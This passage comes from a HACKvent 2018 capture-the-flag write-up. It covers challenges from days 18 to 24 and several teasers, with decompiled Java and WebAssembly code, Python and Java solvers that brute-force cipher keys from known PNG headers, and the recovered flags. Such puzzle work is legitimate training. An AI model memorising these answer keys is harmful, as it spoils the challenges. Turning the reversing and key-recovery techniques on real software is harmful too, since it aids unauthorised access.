0x24f1dcd78ae99e232d316888d49c4bd3445658fe81cb798d0d8f2418e1d73d8466dbb975157a88474a9983f2d0729ff0d085635d84429c8560d5fd6b1875c64f9c73a222d1bbf78ebc59a76dcb3af02973cbbc044494958c85d3ed1dec75ff36d4da66ba5b552fdcc2ebb951620873b044309e26fe453534d2012de54c83817d446133e8a46855f68f1630906852cc1a3f4184ca0cd076fdc0cb1b5a18130e80b67e3bf5287ce62c1963836ee0b0c0388b81ddbac9804e4f0f0ec6d30dfb935e049bc21301469f09135e149c15b67c23ce6770988f56b96cdac5411d1c2e5c1eec6cdc289d2ca3293ad5c76308a304c6b6a916d1055b9dd7eddfc25010361393 [+] md5sum of the Key: 4589754c05970f399b394b209ba9c3aa: 32 [+] IV: 4663845903495965: 16 [+] Decrypted the message: Congrats! Now take the flag: HV18-DfHe-KE1s-w44y-b3tt-3r!!
–> HV18-DfHe-KE1s-w44y-b3tt-3r!!
Day 18: Be Evil (Author: inik)
Only today and for this challenge, please.
Description:
- Download evil.jar
- java -jar evil.jar
Thanks to scal for the artwork!
Solution:
Very nice challenge!
Because jd-gui didn’t work as expected I used this tool to decompile the jar file: http://www.benf.org/other/cfr/
$ java -jar cfr-0.138.jar hackvent18/18/evil.jar --outputdir .
With the decompiled Java-files I created a new IntelliJ project. It looks like new Java classes are loaded with reflection, but the classes themselves are stored as binary arrays inside the Java files. I wrote a function to read the binary arrays and store them as new files on the disk:
private static void writeClassFile(String name, byte[] bytes) { byte[] cafebabe = {(byte)0xca,(byte)0xfe,(byte)0xba,(byte)0xbe}; byte[] a2 = Arrays.copyOfRange(bytes, 0, 4); String filetype = ".class"; if (Arrays.equals(cafebabe, a2) == false){ filetype = ".png"; } try (FileOutputStream stream = new FileOutputStream("decompiled/"+name+filetype)) { stream.write(bytes); } catch (IOException e) { System.err.println("Error in writing class file: " + name); e.printStackTrace(); } }
I call this method from the main method like that:
EvilLoader loader = new EvilLoader(Evilist.class.getClassLoader()); Class<?> clazz = loader.loadClass("hackvent2018.evil.EvilWindow"); //clazz.newInstance(); byte[] bytes = loader.loadEvilClass("hackvent2018.evil.EvilWindow"); writeClassFile("EvilWindow", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.Evil"); writeClassFile("Evil", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.EvilAction"); writeClassFile("EvilAction", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.EvilHandler"); writeClassFile("EvilHandler", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.EvilImages"); writeClassFile("EvilImages", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.EvilType"); writeClassFile("EvilType", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.EvilWindow"); writeClassFile("EvilWindow", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.NotEvil"); writeClassFile("NotEvil", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.Question"); writeClassFile("Question", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.Sad"); writeClassFile("Sad", bytes); bytes = loader.loadEvilClass("hackvent2018.evil.EvilEvent"); writeClassFile("EvilEvent", bytes);
Now we have the class files and the png files and we can run cfr.jar to decompile these new classes again.
$ java -jar cfr-0.138.jar *.class --outputdir plain_java/
If we go through the newly created source code we can see that we could add an ENV variable to get into evil mode and get the flag. But to find the needed value for the ENV variable we have to reverse the function. Because we have the source code, we can solve this challenge in a much easier way. I copied the decompiled class back into IntelliJ as EvilEvent2 and just call the method from the main function.
EvilEvent2 ev = new EvilEvent2(); String res = ev.eventResult(); System.out.println(res);
–> HV18-ztZB-nusz-r43L-wopV-ircY
Day 19: PromoCode (Author: inik)
Get your free flag
Description:
Santa is in good mood an gives away flags for free.
Get your free flag: https://hackvent.hacking-lab.com/Pr0m0C0de_new/promo.html
Printscreen of the website:
This looked like a web challenge at first, but webassembly was used. There is a JS wrapper script around a wasm (WebAssembly) file. So this was another reverse engineering challenge. The first edition of this challenge had a bug in it and apparently very hard to solve. The released an easier challenge later on this day. Fortunately I had no time to look a the challenge early and went straight with the easier one.
The webassembly file can be found in the source code of the website. I uploaded it to my server: https://sigterm.ch/stuff/hackvent18/promo.wasm.
The promo.wasm file can be decompiled but it is really hard to read! I created pseudo C code out of the promo.wasm file using wasm2c: https://github.com/WebAssembly/wabt. I couldn’t really work with the decompiled source code. I re-compiled the generated C code using gcc and the -c flag to ignore linker errors:
$ gcc promo.c -c
The created binary can be disassembled by IDA Pro and we get better results than before. Thanks rfz for providing me the IDA pro pseudo code!
__int64 __fastcall checkPromoCode(unsigned int a1) { __int64 v1; // rax __int64 v2; // rax __int64 v3; // rax unsigned int v4; // eax unsigned int v5; // eax __int64 v6; // rax __int64 v7; // rax __int64 v8; // rax __int64 v9; // rax __int64 v10; // rax __int64 v11; // rax __int64 v12; // rax unsigned int v13; // eax __int64 v14; // rax __int64 v15; // rax __int64 v16; // rax unsigned int v17; // eax unsigned int v18; // eax int v19; // ST58_4 char v20; // ST90_1 char v21; // STA8_1 unsigned int i; // [rsp+18h] [rbp-D8h] signed int j; // [rsp+1Ch] [rbp-D4h] signed int v25; // [rsp+20h] [rbp-D0h] unsigned int v26; // [rsp+24h] [rbp-CCh] unsigned int v27; // [rsp+DCh] [rbp-14h] v25 = 0; if ( ++wasm_rt_call_stack_depth > 0x1F4u ) wasm_rt_trap(7LL); v27 = g10; g10 += 160; if ( g10 >= g11 ) Z_envZ_abortStackOverflowZ_vi(160LL); v1 = i64_load(Z_envZ_memory, 1024LL); i64_store(Z_envZ_memory, v27 + 96, v1); v2 = i64_load(Z_envZ_memory, 1032LL); i64_store(Z_envZ_memory, v27 + 104, v2); v3 = i64_load(Z_envZ_memory, 1040LL); i64_store(Z_envZ_memory, v27 + 112, v3); v4 = i32_load(Z_envZ_memory, 1048LL); i32_store(Z_envZ_memory, v27 + 120, v4); v5 = i32_load16_s(Z_envZ_memory, 1052LL); i32_store16(Z_envZ_memory, v27 + 124, v5); v6 = i64_load(Z_envZ_memory, 1056LL); i64_store(Z_envZ_memory, v27 + 32, v6); v7 = i64_load(Z_envZ_memory, 1064LL); i64_store(Z_envZ_memory, v27 + 40, v7); v8 = i64_load(Z_envZ_memory, 1072LL); i64_store(Z_envZ_memory, v27 + 48, v8); v9 = i64_load(Z_envZ_memory, 1080LL); i64_store(Z_envZ_memory, v27 + 56, v9); v10 = i64_load(Z_envZ_memory, 1088LL); i64_store(Z_envZ_memory, v27 + 64, v10); v11 = i64_load(Z_envZ_memory, 1096LL); i64_store(Z_envZ_memory, v27 + 72, v11); v12 = i64_load(Z_envZ_memory, 1104LL); i64_store(Z_envZ_memory, v27 + 80, v12); v13 = i32_load(Z_envZ_memory, 1112LL); i32_store(Z_envZ_memory, v27 + 88, v13); v14 = i64_load(Z_envZ_memory, 1120LL); i64_store(Z_envZ_memory, v27, v14); v15 = i64_load(Z_envZ_memory, 1128LL); i64_store(Z_envZ_memory, v27 + 8, v15); v16 = i64_load(Z_envZ_memory, 1136LL); i64_store(Z_envZ_memory, v27 + 16, v16); v17 = i32_load(Z_envZ_memory, 1144LL); i32_store(Z_envZ_memory, v27 + 24, v17); v18 = i32_load16_s(Z_envZ_memory, 1148LL); i32_store16(Z_envZ_memory, v27 + 28, v18); if ( (unsigned int)f32_0(a1) != 15 ) goto LABEL_16; for ( i = 0; i < (unsigned int)f32_0(a1); ++i ) { v19 = (char)i32_load8_s(Z_envZ_memory, i + a1); if ( (v19 ^ 0x5A) != (unsigned int)i32_load(Z_envZ_memory, 4 * i + v27 + 32) ) { v25 = 5; break; } } if ( v25 != 5 ) { for ( j = 0; j < 30; ++j ) { v20 = i32_load8_s(Z_envZ_memory, j + v27 + 96); v21 = i32_load8_s(Z_envZ_memory, j % 15 + a1); i32_store8(Z_envZ_memory, j + v27, (unsigned __int8)(v21 ^ v20)); } LABEL_16: g10 = v27; v26 = v27; goto LABEL_17; } g10 = v27; v26 = v27; LABEL_17: --wasm_rt_call_stack_depth; return v26; }
This code is much easier to read than before. I recreated the relevant algorithm:
//pseudocode stack = [xxxx] if (len(promo) != 15) return for (i = 0; i < len(promo); i++) { chr x = promo[i]; if ( (x ^0x5A) != stack [4*i+32]) { v25 = 5; break; } } if (v25 != 5) { for (j = 0; j < 30; ++j) { v20 = stack[j+96] v21 = promo[j%15] stack[j] = v21^v20 } }
I extracted the stack array from the binary and reversed the algorithm. For getting the flag only the loop in the middle is relevant. Here is my Python script which calculates the flag:
stack = [ 0x1f, 0x65, 0x53, 0x0c, 0x18, 0x1f, 0x7a, 0x21, 0x04, 0x41, 0x3a, 0x21, 0x06, 0x72, 0x59, 0x3d, 0x49, 0x56, 0x76, 0x18, 0x3c, 0x43, 0x3a, 0x2b, 0x41, 0x36, 0x00, 0x0d, 0x5c, 0x74, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x69, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x56, 0x31, 0x38, 0x2d, 0x54, 0x52, 0x59, 0x48, 0x2d, 0x41, 0x52, 0x44, 0x45, 0x2d, 0x52, 0x54, 0x52, 0x59, 0x5f, 0x48, 0x41, 0x52, 0x44, 0x5f, 0x45, 0x52, 0x21, 0x21, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x08, 0x05, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] promo_code = "" for x in range(0, 15): c = 0x5A^stack[x*4+32] promo_code += chr(c) print(promo_code)
If we run this script, we get the promo code:
$ python solution.py W3b45m1sRlyF45t
We can now enter this promo code on the website and get back the HV flag.
–> HV18-rKRV-Cg2G-jz4B-QrIy-OF9i
Day 20: I want to play a game (Author: HaRdLoCk)
Description:
Santa didn’t forget about the games this year! Ready to play?
Get your game: https://hackvent.hacking-lab.com/HaRdvent.nro
Solution:
Another reverse engineering challenge. This time we got a Nintendo Switch binary. We can run the binary with this emulator: https://yuzu-emu.org/
Apparently this time we have to encrypt, not decrypt. We can disassemble the file using this plugin: https://github.com/pgarba/SwitchIDAProLoader. In parallel I ran the strings command on the binary, which reveals this suspicious looking string: “shuffle*whip$crush%squeeze”. The string in question is used in the function “sub_88”.
//----- (0000000000000088) ---------------------------------------------------- __int64 __fastcall sub_88(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, __int64 a9) { __int64 (__fastcall *v9)(); // x27 __int64 v10; // x30 unsigned int *v11; // x25 int v12; // w26 __int64 *v13; // x0 signed __int64 v14; // x1 _QWORD *i; // x0 __int64 v16; // x1 __int64 v17; // x2 unsigned int *v18; // x3 __int64 v19; // x0 __int64 v20; // x1 __int64 v21; // x2 unsigned int *v22; // x3 __int64 v24; // [xsp+28h] [xbp-B8h] char v25; // [xsp+48h] [xbp-98h] v11 = (unsigned int *)a1; v12 = a2; v13 = &qword_38240; v14 = 51232LL; do { *v13 = 0LL; ++v13; v14 -= 8LL; } while ( v14 ); qword_40638 = (__int64)&a9; sub_70D0(v10 - 136, (__int64 *)&unk_315C0); sub_7320(v11, v12, v9); sub_4EA0(0LL); strcpy(&v24, "shuffle*whip$crush%squeeze"); sub_10580((__int64)&v25, (__int64 *)&unk_26000, 0x98uLL); sub_6E0((__int64)&v24, 27LL, (__int64)&v25, 152LL); for ( i = (_QWORD *)sub_108F8("\x1B[16;10H%s", &v25); ; i = sub_5010(0LL) ) { v19 = ((__int64 (__fastcall *)(_QWORD *))loc_23D0)(i); if ( !(_BYTE)v19 ) break; sub_2C70(v19, v20, v21, v22); if ( sub_2BF0(0xAu, v16, v17, v18) & 0x400 ) break; } sub_4FC0(0LL); return 0LL; }
I googled for “shuffle whip crush” and found that this is related to the SPRITZ cipher: https://github.com/edwardcunningham/spritz.
In the meanwhile HaRdLoCk revealed a hint, that we don’t have to go to deep and not much assembler knowledge is need to solve the challenge. Therefore I tried to encrypt the string with Spritz and use the string in question as key. I used the python implementation which I found on Google. But it didn’t work… I checked the decompiled source code again and again. Then it hit me.
sub_6E0((__int64)&v24, 27LL, (__int64)&v25, 152LL);
v24 holds our key, the next variable is decimal 27. Our key is 26 chars… C, pointers, null termination! To solve this challenge we had to append \x00 to the key and it could easily be decrypted. That was pretty mean!!
from spritz import Spritz import binascii spritz = Spritz() K = bytearray('shuffle*whip$crush%squeeze\x00') M = [0xf4,0x2d, 0xf9, 0x2b, 0x38, 0x9f, 0xff, 0xca, 0x59, 0x59, 0x84, 0x65, 0xc7, 0xa5, 0x1d, 0x36, 0x08, 0x2e, 0xcf, 0xea, 0x56, 0x7a, 0x90, 0x0e, 0x5e, 0xac,0x9e, 0x5e, 0x9f, 0xb1] C = spritz.encrypt(K,M) print(C)
–> HV18-Wl8b-jSu3-TtHY-ziO4-5ikM
Day 21 – Day 23: MuffinCTF (Author: muffinx featuring xorkiwi)
Description:
MuffinCTF is an attack-defense CTF within HACKvent! We got an OVA file to run as a virtual machine and an attack library. For three days every day 2 new services have been released. The services contained a lot of security vulnerabilities and the given OVA had many backdoors as well. There was a checker service which tested if your services were available. You could steal other players’ muffinCTF{flags}.
In at least 2 of the last 5 ticks (1 tick = 3 minutes) the following requirements had to be met for at least one of the two services to get the HV18 flags:
- At least one muffinCTF{} flag has to be stolen from another player
- Maximal defense points
- Maximal availability points
Solution:
This was a very great idea! Unfortunately it was still buggy even though it had been postponed to day 21. The first two days the tunnel and the services were not very usable.
It was all about fixing services and attacking other players. We were provided with an attack library which made exploitation easier. When the tunnel finally was stable this challenge was actually a lot of fun! I would love to participate in an online all attack-defense CTF.
Due to lack of time I will not describe all 6 services and all the bugs in the services and the virtual machine.
I automated as much as possible. I had scripts which did restart the tunnel (because it was still buggy), attacking was all automated after I implemented the exploits and in the log files I was scavenging for new attack methods from other players. 🙂 And because the HV18 flag disappeared when the criteria wasn’t met anymore I even had a script which was checking for HV18 flags. Here is an image of my control center:
We teamed up on muffinCTF together with otaku, jokker, 0x90v1 and 0xI. Thank you guys for this fun time!
When I met the daily criteria these three HACKvent flags were revealed. They didn’t have the usual HV18 flag format at all.
HV18{muffinCTF{d4y_1_l3t_th3_g4m3s_b3g1n_st4y_c0v3r3d_f0r_m0r3_h4x_stuff}}
HV18{muffinCTF{d4y_2_g0sh_y0ur_r34lly_pwn1n_th3_stuff_l3l_g00d_b0y_g0_4h34d}}
HV18{muffinCTF{d4y_3_t3h_1337_b001s_g3t_4ll_d3m_gr0up13z_4nd_b0x3n}}
Day 24: Take the red pill, take the blue pill (Author: inik and HaRdLoCk )
Description:
Have you already taken your vitamins today? Here are some pills for your health.
https://sigterm.ch/stuff/hackvent18/redpill.zip && https://sigterm.ch/stuff/hackvent18/bluepill.zip
Hint:
it might take a minute or two until the blue pill shows its effect. blue pill manufactury is in GMT+1.
Solution:
A very big thanks to otaku who has provided this nice write-up!
The last final day or night in Hackvent. We gathered together with
jokker, 0xI and mcia to solve this final challenge. We have a jar-File (Redpill) and an executable (Bluepill) with given encrypted flags. After a short analysis we assumed, that the same PNG-flag file was encrypted once with the Red- and with the Bluepill. So we need to crack both Pills go get the flag.
Redpill
When you run the jar file it needs a 8 digits long serial number to be executed correctly. As we know the first 10 bytes of a PNG-Header, we started a brute-force session and got a unique serial for it: 45288109. This serial was also the IV for the Encryption (Which we found out was the RABBIT Streamcipher. And the crypt-Function can be used for en- and decryption). And luckily the key was twice the IV: 4528810945288109. We also figured out that only the last four bits of every byte are encrypted:
Bluepill
When you run the exe it needs a file starting with “‰PNG”. That also confirmed also our assumption, that it is an image. Unsurprisingly we saw that the only first four bits of every byte of the flag are encrypted:
So we just need the key and IV from the bluepill and we are done. The key we found in the data-segment: 870589CDA87562EF3845FFD1413754D5. And the IV was derived from the filetime (131852077180000000) in range minus 2 mins (As given in the hint: “it might take a minute or two until the blue pill shows its effect.”). That had to be bruteforced in milliseconds-steps. Big and Little-Endian was not our friend, but jokker and 0xl successfully retrieved the IV: 1071EFFEC36ED401. Yupie! We have all keys and IVs ready for the final merge.
Red- & Bluepill
Merging the pills successfully together, by taking the first 4 lower bits of the bluepill and the 4 higher bits of the redpill for every byte:
Gave us the final PNG-Image. It’s hard to describe the emotions we had, when seeing it. It kinda felt like christmas.:
Thank you HaRdLoCk and inik for this great challenge. ☆☆☆☆☆
For the completeness here is the source code used to get the final HV18 flag!
package hackvent2018; import java.awt.image.BufferedImage; import java.io.ByteArrayInputStream; import java.io.File; import java.io.IOException; import java.math.BigInteger; import java.nio.file.Files; import java.util.Date; import javax.imageio.ImageIO; import org.apache.commons.lang.ArrayUtils; import com.google.zxing.BinaryBitmap; import com.google.zxing.LuminanceSource; import com.google.zxing.MultiFormatReader; import com.google.zxing.NotFoundException; import com.google.zxing.Result; import com.google.zxing.client.j2se.BufferedImageLuminanceSource; import com.google.zxing.common.HybridBinarizer; public class RedAndBluePill { private static final BigInteger EPOCH_DIFF = BigInteger.valueOf(-11_644_473_600_000L); private static final BigInteger NANO_100 = BigInteger.valueOf(10_000L); public static void main(String[] args) throws IOException, NotFoundException { final String PATH = "resources" + File.separator; byte[] redFlag = Files.readAllBytes(new File(PATH + "flag_encrypted_red").toPath()); byte[] blueFlag = Files.readAllBytes(new File(PATH + "flag_encrypted_blue").toPath()); byte[] blueIv = hexStringToByteArray("1071EFFEC36ED401"); byte[] blueKey = hexStringToByteArray("870589CDA87562EF3845FFD1413754D5"); byte[] redIv = "45288109".getBytes(); byte[] redKey = "4528810945288109".getBytes(); // twice the iv BigInteger filetime = new BigInteger("131852077180000000"); byte[] knownPngHeader = new byte[8]; knownPngHeader[0] = -119; knownPngHeader[1] = 80; knownPngHeader[2] = 78; knownPngHeader[3] = 71; knownPngHeader[4] = 13; knownPngHeader[5] = 10; knownPngHeader[6] = 26; knownPngHeader[7] = 10; // Bruteforce the red PIN // bruteRed(redFlag, knownPngHeader); // Bruteforce the blue IV // bruteBlue(blueFlag, filetime, knownPngHeader); Cipher3 cRed = new Cipher3(); cRed.setupKey(redKey); cRed.setupIV(redIv); byte[] redCiphertext = cRed.crypt(redFlag); Cipher3 cBlue = new Cipher3(); cBlue.setupKey(blueKey); cBlue.setupIV(blueIv); byte[] blueCiphertext = cBlue.crypt(blueFlag); byte[] flag = new byte[redCiphertext.length * 2]; int i = 0; int dest = 0; while (i < flag.length / 2) { byte redFirstBits = (byte)((redCiphertext[i] >> 4) & 15); byte redSecondBits = (byte)(redCiphertext[i] & 15); byte blueFirstBits = (byte)((blueCiphertext[i] >> 4) & 15); byte blueSecondBits = (byte)(blueCiphertext[i] & 15); flag[dest++] = (byte)((blueFirstBits << 4) | redFirstBits); // 1010-0000 | 0000-0101 flag[dest++] = (byte)((blueSecondBits << 4) | redSecondBits); // 1010-0000 | 0000-0101 i++; } // Files.write(new File(PATH + "final.png").toPath(), b); ByteArrayInputStream bais = new ByteArrayInputStream(flag); try { BufferedImage ww = ImageIO.read(bais); LuminanceSource source = new BufferedImageLuminanceSource(ww); BinaryBitmap bitmap = new BinaryBitmap(new HybridBinarizer(source)); Result resultt = new MultiFormatReader().decode(bitmap); System.out.println(resultt.getText()); } catch (IOException e) { throw new RuntimeException(e); } } private static void bruteBlue(byte[] blueFlag, BigInteger filetime, byte[] knownPngHeader) { for (BigInteger i = filetime; i.compareTo(filetime.subtract(new BigInteger("120000000000"))) > 0; i = i.subtract(new BigInteger("10000"))) { if (bruteBlue(i, blueFlag, knownPngHeader)) { System.out.println("blue iv: " + i); break; } } } private static boolean bruteBlue(BigInteger filetime, byte[] blueFlag, byte[] knownPngHeader) { byte[] iv = filetime.toByteArray(); ArrayUtils.reverse(iv); Cipher3 cBlue = new Cipher3(); byte[] blueIv = iv; byte[] blueKey = hexStringToByteArray("870589CDA87562EF3845FFD1413754D5"); cBlue.setupKey(blueKey); cBlue.setupIV(blueIv); byte[] blueEnc = encryptBlue(knownPngHeader); byte[] b = cBlue.crypt(blueEnc); if (b[0] == blueFlag[0] && b[1] == blueFlag[1] && b[2] == blueFlag[2] && b[3] == blueFlag[3]) return true; return false; } private static void bruteRed(byte[] redFlag, byte[] knownPngHeader) { for (int i = 10000000; i <= 99999999; i++) { if (i % 1000000 == 0) System.out.print("."); if (bruteRed(i, redFlag, knownPngHeader)) { System.out.println("red key: " + i); break; } } } private static boolean bruteRed(int pin, byte[] redFlag, byte[] knownPngHeader) { Cipher3 cRed = new Cipher3(); byte[] redIv = Integer.toString(pin).getBytes(); byte[] redKey = (Integer.toString(pin) + Integer.toString(pin)).getBytes(); // cRed.setupIV(Integer.toString(pin).getBytes()); // cRed.setupKey((Integer.toString(pin) + Integer.toString(pin)).getBytes()); cRed.setupKey(redKey); cRed.setupIV(redIv); byte[] redEnc = encryptRed(knownPngHeader); byte[] b = cRed.crypt(redEnc); if (b[0] == redFlag[0] && b[1] == redFlag[1] && b[2] == redFlag[2] && b[3] == redFlag[3]) return true; return false; } public static byte[] encryptRed(byte[] b) { byte[] f = new byte[((b.length + 1) / 2)]; for (int i = 0; i < b.length; i++) { if (i % 2 == 0) { f[i / 2] = (byte)(f[i / 2] | (b[i] << 4)); } else { f[i / 2] = (byte)(f[i / 2] | (b[i] & 15)); } } return f; } public static byte[] encryptBlue(byte[] b) { byte[] f = new byte[((b.length + 1) / 2)]; for (int i = 0; i < b.length; i++) { if (i % 2 == 0) { f[i / 2] = (byte)(16 * (f[i / 2] | b[i] >> 4)); } else { f[i / 2] = (byte)(f[i / 2] | b[i] >> 4); } } return f; } public static byte[] hexStringToByteArray(String s) { int len = s.length(); byte[] data = new byte[len / 2]; for (int i = 0; i < len; i += 2) { data[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16)); } return data; } public static long dateToFileTime(final Date date) { return BigInteger.valueOf(date.getTime()).subtract(EPOCH_DIFF).multiply(NANO_100).longValue(); } }
–> HV18-GetR-eady-4Hac-kyEa-steR
Description:
We are ready – r u?
follow the white rabbit …
Solution:
The code in the image is Braille text containing a link to http://bit.ly/2TJvxHt. Browsing to this link shows a QR Code with the message “Rushed by…”.
Apparently I was already too far. I inspected the network traffic and found a redirection to https://hackvent.hacking-lab.com/T34s3r_MMXVIII/index.php?flag=UI18-GAUa-lXhq-htyV-w2Wr-0yiV.
I took the flag in the URL GET param and encoded it with Rot13 which returns us the first of 10 teaser flags.
–> HV18-TNHn-yKud-uglI-j2Je-0lvI
Solution:
If we browse to https://hackvent.hacking-lab.com/T34s3r_MMXVIII/index.php?flag=HV18-TNHn-yKud-uglI-j2Je-0lvI we get a PDF file. We download the PDF and open it with LibreOffice. In LibreOffice we can remove the layers and inspect the PDF a bit better. There we find a Morse code, which is written in white on a white background. Sneaky!
…. …- .—- —.. -….- –. — .-. .. -….- –.. .-. … -… -….- ..- ..-. .- . -….- – … -…. -.-. -….- -.-. …- – –
We can decode the Morse code with this website: https://www.dcode.fr/morse-code
–> HV18-GORI-ZRSB-UFAE-TS6C-CVTT
Solution:
Still working on the PDF with LibreOffice. In the back of the image there is a layer with a stereogram. Fortunately, with LibreOffice this can be easily extracted. We can get the hidden image with this website: http://magiceye.ecksdee.co.uk/
I had to scale and change the colors in Gimp to make it scannable. (Select by Color -> black; Select invert; Edit -> Fill with background color).
Solution:
The PDF file contained many other teaser challenges. First step to access those challenge, was to extract them using binwalk:
$ binwalk -e ZOoxjUSe1OVB7OPoVrsX.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PDF document, version: "1.7" 404 0x194 Unix path: /PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>> 621 0x26D Zlib compressed data, default compression 1751 0x6D7 Unix path: /Type/XObject/Subtype/Image/Width 1000/Height 340/ColorSpace/DeviceRGB/BitsPerComponent 8/Filter/DCTDecode/Interpolate true/Leng 1899 0x76B JPEG image data, JFIF standard 1.01 1929 0x789 TIFF image data, big-endian, offset of first image directory: 8 51778 0xCA42 Unix path: /Type/ExtGState/BM/Normal/ca 1>> 51831 0xCA77 Unix path: /Type/Font/Subtype/TrueType/Name/F1/BaseFont/BCDEEE+Calibri/Encoding/WinAnsiEncoding/FontDescriptor 8 0 R/FirstChar 32/LastChar 51998 0xCB1E Unix path: /Type/FontDescriptor/FontName/BCDEEE+Calibri/Flags 32/ItalicAngle 0/Ascent 750/Descent -250/CapHeight 750/AvgWidth 521/MaxWidth 52237 0xCC0D Unix path: /Type/ExtGState/BM/Normal/CA 1>> 52291 0xCC43 Unix path: /Type/XObject/Subtype/Image/Width 781/Height 781/ColorSpace/DeviceRGB/BitsPerComponent 8/Interpolate false/Filter/FlateDecode/Le 52442 0xCCDA Zlib compressed data, default compression 187860 0x2DDD4 Unix path: /Type/Font/Subtype/TrueType/Name/F2/BaseFont/BCDFEE+Arial-Black/Encoding/WinAnsiEncoding/FontDescriptor 12 0 R/FirstChar 32/Last 188034 0x2DE82 Unix path: /Type/FontDescriptor/FontName/BCDFEE+Arial-Black/Flags 32/ItalicAngle 0/Ascent 1101/Descent -212/CapHeight 716/AvgWidth 552/MaxW 188279 0x2DF77 Unix path: /Type/Font/Subtype/TrueType/Name/F3/BaseFont/TimesNewRomanPS-BoldMT/Encoding/WinAnsiEncoding/FontDescriptor 14 0 R/FirstChar 32/ 188456 0x2E028 Unix path: /Type/FontDescriptor/FontName/TimesNewRomanPS-BoldMT/Flags 32/ItalicAngle 0/Ascent 891/Descent -216/CapHeight 677/AvgWidth 427/M 188698 0x2E11A Unix path: /Type/XObject/Subtype/Image/Width 200/Height 200/ColorSpace/DeviceRGB/BitsPerComponent 8/Filter/DCTDecode/Interpolate true/Lengt 188844 0x2E1AC JPEG image data, JFIF standard 1.01 188874 0x2E1CA TIFF image data, big-endian, offset of first image directory: 8 195577 0x2FBF9 Zlib compressed data, default compression 196145 0x2FE31 Zlib compressed data, default compression 215877 0x34B45 Zlib compressed data, default compression 231310 0x3878E Unix path: /Type/Metadata/Subtype/XML/Length 3075>> 231494 0x38846 Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> 231734 0x38936 Unix path: /purl.org/dc/elements/1.1/"> 232171 0x38AEB Unix path: /ns.adobe.com/xap/1.0/mm/"> 234681 0x394B9 Zlib compressed data, default compression 236069 0x39A25 RAR archive data, first volume type: MAIN_HEAD 236135 0x39A67 Zip archive data, at least v1.0 to extract, compressed size: 369708, uncompressed size: 369708, name: z.zip 605856 0x93EA0 End of Zip archive 605965 0x93F0D End of Zip archive 839357 0xCCEBD Cisco IOS experimental microcode, for "0"
This teaser challenge was about the file QR3C.png
To get the final QR Code I extracted the 3 different color layers (RGB) and saved them as separate images. I found this awesome website to read data from partial QR codes: https://merricx.github.io/qrazybox/
The red and green layer could be read easily and gave me two third of the flag: HV18-3I5a-Rnrl-s28r-
Blue was a bit harder. But with activating the experimental sequence analysis on the same website and the description how to read a QR code it was still possible:
–> HV18-3I5a-Rnrl-s28r-SRHj-Lhzx
Solution:
From now on we always are working with the extracted files from the pdf, like described in teaser challenge -7.
The image old_school.jpg was obviously a punchard, IBM-029.
Unfortunately I could not find a punchcard reader which supported this image. I had to do some manual steps to get the flag. Thanks to rfz I found this online punchcard writer. http://tyleregeto.com/article/punch-card-emulator. Super annoying but I had to copy the code into the emulator to get the flag.
–> HV18-0LD$-SCH0-0L1S-4W3S-0M3!
Solution:
The file was inside the RAR file from the files out of the PDF, but it could only be extracted on Windows. Because it was embedded as NTFS alternate datastream. This was the file in question:
1111111000001110001111111100000101010100110100000110111010000010111010111011011101011111010001011101101110100100010110101110110000010110000101010000011111111010101010101111111000000000110010110000000011111011110111010101010100100010110100010110011100101110101010001001100011111111001100010111110101011100001111111011110110001101001000001110001101100110100010011100100101000101010010001001111011110111101110110010100111111000100000000100101001000110101111111011100011101011001100000100110011110001001010111010101000101111100011011101011011110000100101101110101001101010011000110000010100000100011011001111111010011000011000001
Quickresponse is the longword for QR-Code! 😉 I was lazy and used this converter: https://bahamas10.github.io/binary-to-qrcode/
–> HV18-Idwn-whWd-9sNS-ScwC-XjSR
Solution:
File in question:
